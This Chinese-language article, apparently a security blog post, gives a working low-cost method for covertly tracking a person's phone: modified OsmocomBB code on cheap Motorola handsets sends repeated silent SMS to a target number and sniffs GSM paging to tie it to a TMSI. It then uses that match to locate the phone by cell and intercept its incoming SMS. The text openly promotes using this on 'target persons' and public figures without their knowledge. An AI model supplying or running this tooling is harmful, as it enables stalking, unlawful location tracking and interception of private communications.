0×00 前言
技术侦查时我们经常需要对目标人物进行定位,监听目标人物的电话和短信。
如何做到呢?首选当然是高大上的7号信令系统(SS7)。你需要一个能够访问的支持MAP(Mobile Application Part)的SS7信令接入点,然后,你理论上就可以侦听,拦截,伪造全球任何移动用户的电话和短信了,也可以获得该手机当前接入的Cell ID从而精确定位。因为全球的电信运营商都连在一张信令网上,除非某些运营商做了信令过滤,否则不管你从哪个国家接入SS7,命令在全球运营商那里都会得到忠实执行。目前国际上常见的SS7信令接入点的租用价格是每月几千美元起,对机构来说并不是很贵。
小科普:
1
|
SilentSMS:静默短信
|
1
|
信令系统#7(SS7:Signaling System #7)由 ITU-T 定义的一组电信协议,主要用于为电话公司提供局间信令。SS7 中采用的是公共信道信令技术(CCS:common-channel signaling),也就是带外(out-of-band)信令技术,即信令服务提供独立的分组交换网络。
|
1
2
3
|
MAP:Mobile Application Part (移动应用部分)七号信令的子集。用于连接分布式交换单元(MSC)和主数据库(HLR)。HLR能动态存储移动网络用户的当前位置和预置文件。在处理拨入呼叫的过程中需要使用HLR。当网络用户位置改变时,HLR也要相应更新,用户便由网络中的其他交换机服务。
MAP协议的主要内容包括移动性管理、呼叫业务处理、补充业务处理、短消息业务处理、操作维护和GPRS业务处理等。
|
MAP的作用
1
2
3
4
5
6
7
8
|
MAP是为完成移动台的自动漫游功能,在移动通信网络实体之间传递信息的信令。
MAP支持的业务有:
移动性业务,包括位置管理,切换,鉴权管理,国际移动设备设备管理,用户管理,故障恢复
操作与维护,包括用户跟踪,用户识别
呼叫处理
与补充业务相关的业务
短消息业务管理
网络请求的PDP上下文活动业务
|
但我们既不是国家机器,也不是土豪,我们只是一个普通的朝阳群众,怎么低成本的推动世界和平,保卫国家安全,以及对公众人物进行监督呢?
打开世界五大王牌情报组织之一朝阳群众的野战工具箱,我们会看到很多民间自制的情报工具,本文介绍其中的Slient SMS的低成本实现方法和简单应用。
其实,Silent SMS在各国执法部门都大量使用,即使他们同时也在使用SS7,比如柏林警方去年的发送数量就超过了10万。和SS7只能定位到基站不同,Silent SMS配合伪基站+三角定位法,开阔空间定位精度可以达到1米左右,实战中可以直接定位到广场上的某个人。这样即使目标人物使用了易容术,随身携带的手机也会不知不觉的告诉我们真相。
0×01 背景知识
手机号码(MSISDN)在移动通信网上是很少进行传输的。对于移动网络来说,区别不同手机的惟一ID是IMSI(International Mobile Subscriber Identity)。MSISDN是为了方便人类而做的一个IMSI在现实世界的映射。你打电话发短信时提交的是对方的MSISDN,移动网络收到你的请求后要把MSISDN映射回IMSI,然后才能处理。你接电话收短信时对方的MSISDN也是单独发送给你的,好让你能知道知道对方是谁。
而为了保护安全和隐私,IMSI在设计上也是尽量少的在网络上传输的,通常情况下只在首次Attach和越区切换位置更新时才需要向移动网络提交你的IMSI。当移动网络确认你的合法身份后会指派一个临时身份给你,在GSM网络里是TMSI(Temporary Mobile Subscriber Identity),在LTE里是S-TMSI(为了简化我们也把它称作TMSI),之后在需要身份识别的时候,都是用TMSI的。
小科普:
1
2
3
|
IMSI(International Mobile Subscriber Identity,国际移动用户识别码)用于在全球范围唯一标识一个移动用户。一个IMSI唯一标识一个移动用户,在全世界都是有效的。
无线网络覆盖的范围很大,如果IMSI在网络中传递时被不法分子获取,这个是非常危险的。所以需要采用另外一种号码临时代替IMSI在网络中进行传递,这就是TMSI(Temporary Mobile Subscriber Identity,临时移动用户标识)。采用TMSI来临时代替IMSI的目的为了加强系统的保密性,防止非法个人或团体通过监听无线路径上的信令窃取IMSI或跟踪用户的位置。
|
所以,在我们侦听移动通信时会发现,上行的通信请求,不管是发短信还是打通话,只能侦听到发起者的TMSI和接收者的MSISDN;而下行的通信,不管是来电话还是来短信,只能侦听到发起者的MSISDN和接收者的TMSI。这样,如果我们不能找出TMSI和MSISDN的一一对应关系,我们就没法区分出哪些短信和通话是指向我们的目标人物的。
而找出了TMSI和MSISDN的对应关系,也就能通过侦听知道目标手机当前连在哪个蜂窝基站,从而实现对目标人物的定位。
扩展阅读:
关于这里提到的定位的姿势可以看《从无线电角度揭秘定位劫持》一文的基站定位部分。
0×02 原理
当有新的Mobile Terminated Services,通常是短信或来电,要传送的时候,移动网络会发起Paging。目标手机守听时发现网络在呼叫自己的TMSI,就会向网络申请一个信道,申请成功后,手机转到该信道发送呼叫响应,网络回复该呼叫响应,然后经过鉴权、加密协商等流程后,网络开始向手机传送服务,这时手机才知道来的是电话还是短信,在收到一部分服务信息后,手机开始决定是否提示用户和如何提示用户,是来电话了还是收到短信了,是振铃还是震动等。
我们试图在不惊动目标人物的情况下找出TMSI和MSISDN的对应关系,依靠的就是Paging。根据以上流程我们可以看到,如果我们电话呼叫目标手机,在一个合适的时间点,即网络上已经广播了Paging信息,但目标手机还未振铃之前及时挂断,目标手机也是没有提示的,而我们却侦听到了一次Paging。如果能按照一定的时间间隔和多次重复这个过程,我们就能从侦听到的大量Paging广播中筛查出目标TMSI。问题在于,这个合适的时延比较难把握,而且不同运营商,甚至不同区域的网络还有差异,调校起来比较费事。这时,Silent SMS就成了我们的首选。
Silent SMS是一种特殊格式的短信,在短信报文头上设置特殊的标识位以后,接收者手机收到后不会有任何提示和反应,也不会存储短信内容,而是直接丢弃。不使用特殊技术手段无法发现手机收到了Silent SMS。向目标手机发送Silent SMS,我们会侦听到网络广播的Paging信息,但是不需要像电话呼叫那样顾虑时延和及时挂断的问题,目标手机上不会有任何提示。而且我们还可以在空中侦听到短信的完整内容,当侦听到我们自己构造的特定内容的短信可以帮我们进一步确认该TMSI就是我们的目标。
TMSI是在一个LAC(Location Area Code)/TA(Tracking Area)里有效的,每当进入一个新的LAC/TA,手机就会被网络指派一个新的TMSI。要找出的对应关系,必须侦听目标手机当前所在的LAC/TA。对我们有利的是,Paging也是在LAC/TA里有效的,除了LTE的Smart Paging。
0×03 低成本实现
朝阳群众的情报工具应该尽可能的便宜,所以我们使用开源软件+廉价设备的方式。我们优选的方案是OsmocomBB + Motorola C118/C139。
网上能找到国外黑客写的用Python调用USB短信猫发送Silent SMS,用Airprobe + RTL-SDR接收的源代码,但是硬件成本比我们的贵,最关键是代码比较散。
1
|
OsmocomBB:基于一套泄露的基带源代码重写的开源的GSM基带项目,只能支持TI Calypso基带处理器。被用来参考的那套泄露源代码不完整,只有90+%的源代码,部分连接库没有源代码,而且也缺少DSP的代码。OsmocomBB被设计成黑客的实验工具,而不是供普通用户使用的手机系统,为了方便编写和修改,其Layer 2和3是在PC上运行的。
|
1
|
Motorola C118/C139:玩GSM必备,天然支持跳频,便宜,淘宝只要7元,可大量购买,接在USB Hub上,实现多路短信收发。其中,C139是彩屏,且ROM大些,是有潜力改造成用于复杂GSM攻击或工程路测,且支持中文显示和输入的黑客手机的。
|
具体实现上,我们需要使用两部C118/C139手机,一部用来发送Silent SMS,另一部用来侦听PCH并记录正在呼叫的TMSI。
C118(左)和C139(右)兄弟合影:
用来将C118/C139连接到电脑的CP2102(USB串口转换器)及2.5mm音频插头:
0×04 如何发送Silent SMS
OsmocomBB里的mobile程序是工作在Layer 2-3,用来收发短信和接打电话的。我们就修改它来发送Silent SMS。其实,可以把C118/C139看做是最便宜的短信猫,而修改过的mobile程序就是短信群发软件。
构造Silent SMS
每个短信都有一个TP-Protocol-Identifier字段,只要设置为0×40就相当于告知接收手机忽略此短信,所以目标手机会正常接收到这条短信,但是之后既不会提示也不会保存这条短信,只是简单的丢弃掉。每个短信还有一个TP-Data-Coding-Scheme字段,如果把首字节设为0xC0,接收手机同样会忽略此短信。
我们只要在发短信之前,把对应的字段做好设置,发出的就是Silent SMS了。这两个字段可以都设置,也可以只设置一个。偶尔会碰到运营商过滤特殊格式短信的情况,这时候就需要具体试一下到底哪个有效。我自己到目前为止没遇到过滤的情况。
主要数据结构
为了按特定时序发送Silent SMS,我们需要一个定时器。设定好时间间隔,定时器就会被定时触发,然后调用发送函数去发送一条Silent SMS。
1
2
3
4
5
6
|
struct
osmo_timer_list
tick_timer_smsping
;
struct
{
int
pid
;
int
dcs
;
}
silent_sms
;
|
主要源代码
vty_interface.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
//新增控制台命令:silent,用于设置TP-PID和TP-DCS
DEFUN
(
silent
,
silent_cmd
,
"silent TP-PID TP-DCS"
,
"Set SMS messages header\n"
"1 for 0x40, 0 for default\n"
"1 for 0xC0, 0 for default\n"
)
{
int
pid
;
int
dcs
;
if
(
argc
>=
1
)
{
pid
=
atoi
(
argv
[
0
]
)
;
dcs
=
atoi
(
argv
[
1
]
)
;
if
(
pid
)
{
silent_sms
.
pid
=
1
;
}
else
{
silent_sms
.
pid
=
0
;
}
if
(
dcs
)
{
silent_sms
.
dcs
=
1
;
}
else
{
silent_sms
.
dcs
=
0
;
}
}
return
CMD_SUCCESS
;
}
|
发送部分的源代码:
1
2
3
4
5
6
7
8
9
10
11
|
if
(
smscnt
==
MAX_SMS_Count
)
{
//开始批量发送
tick_timer_smsping
.
cb
=
&
sms_ping
;
//初始化定时器
tick_timer_smsping
.
data
=
&
timer_step
;
smscnt
--
;
ping_sms_sca
=
strdup
(
sms_sca
)
;
ping_number
=
strdup
(
number
)
;
ping_sms_txt
=
strdup
(
argv_concat
(
argv
,
argc
,
2
)
)
;
call_vty
=
vty
;
sms_send
(
ms
,
sms_sca
,
number
,
argv_concat
(
argv
,
argc
,
2
)
)
;
vty_out
(
vty
,
"Slient SMS %d sent%s"
,
smscnt
,
VTY_NEWLINE
)
;
}
|
gsm411_sms.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
struct
gsm_sms
*
sms_from_text
(
const
char
*
receiver
,
int
dcs
,
const
char
*
text
)
{
struct
gsm_sms
*
sms
=
sms_alloc
(
)
;
if
(
!
sms
)
return
NULL
;
strncpy
(
sms
->
text
,
text
,
sizeof
(
sms
->
text
)
-
1
)
;
sms
->
reply_path_req
=
0
;
sms
->
status_rep_req
=
0
;
sms
->
ud_hdr_ind
=
0
;
if
(
silent_sms
.
pid
)
sms
->
protocol_id
=
0x40
;
/* type 0 */
else
sms
->
protocol_id
=
0
;
/* implicit */
if
(
silent_sms
.
dcs
)
sms
->
data_coding_scheme
=
0xC0
;
else
sms
->
data_coding_scheme
=
dcs
;
strncpy
(
sms
->
address
,
receiver
,
sizeof
(
sms
->
address
)
-
1
)
;
/* Generate user_data */
sms
->
user_data_len
=
gsm_7bit_encode
(
sms
->
user_data
,
sms
->
text
)
;
return
sms
;
}
|
用来重复发送的源代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
void
sms_ping
(
void
*
data
)
{
struct
osmocom_ms
*
ms
;
ms
=
get_ms
(
"1"
,
call_vty
)
;
vty_notify
(
ms
,
"ping sent"
)
;
if
(
smscnt
==
0
)
{
return
0
;
}
sms_send
(
ms
,
ping_sms_sca
,
ping_number
,
ping_sms_txt
)
;
smscnt
--
;
return
0
;
}
static
int
gsm411_sms_report
(
struct
osmocom_ms
*
ms
,
struct
gsm_sms
*
sms
,
uint8_t
cause
)
{
vty_notify
(
ms
,
NULL
)
;
if
(
!
cause
)
{
vty_notify
(
ms
,
"SMS %d to %s successfull\n"
,
smscnt
,
sms
->
address
)
;
if
(
smscnt
!=
0
)
osmo_timer_schedule
(
&
tick_timer_smsping
,
10
,
0
)
;
//定时间隔10秒
}
else
vty_notify
(
ms
,
"SMS to %s failed: %s\n"
,
sms
->
address
,
get_value_string
(
gsm411_rp_cause_strs
,
cause
)
)
;
return
0
;
}
|
使用mobile的命令行发送Silent SMS:
使用WireShark侦听发送的短信,可以看到TP-PID和TP-DCS分别是0×40,0xC0,短信内容为“testing 1 2 3”:
0×05 如何筛选TMSI
OsmocomBB里的ccch_scan程序经常被大家用来侦听短信。我们修改它来筛选排查出可能的目标TMSI。
在开始发送Silent SMS的时候,就立刻启动ccch_scan记录所有Paging的TMSI。通常,从开始发短信,到空中出现Paging信息,最快3秒钟,多数情况6-7秒钟。繁忙的基站每秒广播20多次寻呼。所以我们把TMSI队列深度设为300是足够的,大约可记录从发送Silent SMS开始15秒内的所有被呼叫的TMSI,这300个里面一定有我们的目标的TMSI,通常是在前面开始部分。队列到300为止,我们就是在这300个里面找出来重复次数大于我们设定次数的TMSI并打印出来。
数据结构
1
2
3
4
|
struct
_tmsis_
{
uint8_t
tmsi
[
4
]
;
char
cnt
;
}
tmsis
[
300
]
;
|
列出TMSI的源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
void
tmsi_match
(
uint8_t
*
t
)
{
if
(
app_state
.
finding
==
1
)
{
int
i
;
int
f
=
0
;
for
(
i
=
0
;
i
<
app_state
.
tmsicnt
;
i
++
)
{
if
(
!
memcmp
(
t
,
tmsis
[
i
]
.
tmsi
,
4
)
)
{
tmsis
[
i
]
.
cnt
+=
1
;
f
=
1
;
if
(
tmsis
[
i
]
.
cnt
>
app_state
.
mincnt
)
{
printf
(
"Possible TMSI: #%d, \t%s, %d times\n"
,
i
,
osmo_hexdump
(
t
,
4
)
,
tmsis
[
i
]
.
cnt
)
;
}
}
}
if
(
(
f
==
0
)
&&
(
app_state
.
tmsicnt
<
300
)
)
{
//队列深度
app_state
.
tmsicnt
+=
1
;
memcpy
(
tmsis
[
i
]
.
tmsi
,
t
,
4
)
;
tmsis
[
i
]
.
cnt
=
1
;
printf
(
"New TMSI:#%d, %s \tTotal: %d\n"
,
i
,
osmo_hexdump
(
t
,
4
)
,
app_state
.
tmsicnt
)
;
}
return
;
}
if
(
!
memcmp
(
t
,
app_state
.
wanted_tmsi
,
4
)
)
{
app_state
.
tmsi_matched
=
1
;
printf
(
"TMSI Match %s\n"
,
osmo_hexdump
(
t
,
4
)
)
;
}
}
|
我们给ccch_scan新增加一个参数:-f paging次数。
国内不少地方为了提高接通率,当有Mobile Terminated Service要传递的时候是重复发出寻呼信息的,有的是Paging两次,多的甚至连续寻呼四次。这样如果你连续向目标手机发送10次短信,可能会侦听到20-40次Paging。所以你实战中你需要先侦听网络的PCH来以确定当地的设置情况。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
static
int
l23_cfg_print_help
(
)
{
printf
(
"\nApplication specific\n"
)
;
printf
(
" -k --kc KEY Key to use to try to decipher DCCHs\n"
)
;
printf
(
" -t --tmsi TMSI Filter assignments with specified TMSI (paging only)\n"
)
;
printf
(
" -f --count Filter paging TMSI\n"
)
;
return
0
;
}
static
int
l23_cfg_handle
(
int
c
,
const
char
*
optarg
)
{
switch
(
c
)
{
case
'k'
:
if
(
osmo_hexparse
(
optarg
,
app_state
.
kc
,
8
)
!=
8
)
{
fprintf
(
stderr
,
"Invalid Kc\n"
)
;
exit
(
-
1
)
;
}
break
;
case
't'
:
if
(
osmo_hexparse
(
optarg
,
app_state
.
wanted_tmsi
,
4
)
!=
4
)
{
fprintf
(
stderr
,
"Invalid TMSI\n"
)
;
exit
(
-
1
)
;
}
app_state
.
finding
=
0
;
break
;
case
'f'
:
app_state
.
finding
=
1
;
app_state
.
mincnt
=
atoi
(
optarg
)
;
break
;
default
:
return
-
1
;
}
return
0
;
}
|
运行ccch_scan来开始筛选TMSI,我们要求程序列出Paging超过16次的TMSI:
同时显示发送和筛选两个窗口,有的TMSI随着每次短信发送有节奏的出现,很快有一个TMSI就引起了我们的注意:818003B5,随着不断的发送短信,还不到10次短信,我们已经可以确定目标TMSI就是它。而且可以看出当前网络每传递一次短信就侦听到4次Paging:
我们拿出目标手机来确认一下,果然是这个TMSI。注意,为了工作方便,朝阳群众大都随身携带这种已开启Net Monitor的Nokia 3110手机:
用WireShark来侦听目标手机接收到的短信:
用我修改过的ccch_scan来侦听并解码目标手机所在基站的下行短信:
0×06 后记
手机通信安全跨着通信和计算机两个专业领域,两者都精通的安全研究人员比较少,因而一直缺少成熟好用的攻击工具。要想玩好手机安全,一定要自己动手编程,打造自己的安全工具。
本文没有涉及LTE下的TMSI筛选和手机定位,但是Paging的原理类似,而且下行的数据报文传递前也会产生Paging信息,再加上运营商的2G/3G/4G是可以互操作的,因而可以利用的途径更多。惟一的问题是缺少基带开源的LTE手机,我们要玩LTE,就必须使用SDR,导致成本不够亲民。即使发送Silent SMS仍然使用C118/C139,侦听LTE通信也必须使用SDR。而且因为我国特殊的频段划分,LTE没有得到低端的黄金频段,基本集中在1900MHz和2600MHz,这样便宜的RTL-SDR也就无能为力了,玩LTE最差也要买个HackRF,但目前国产山寨HackRF质量还不稳定。。。
关于LTE下的玩法,未来找时间专文再探讨吧。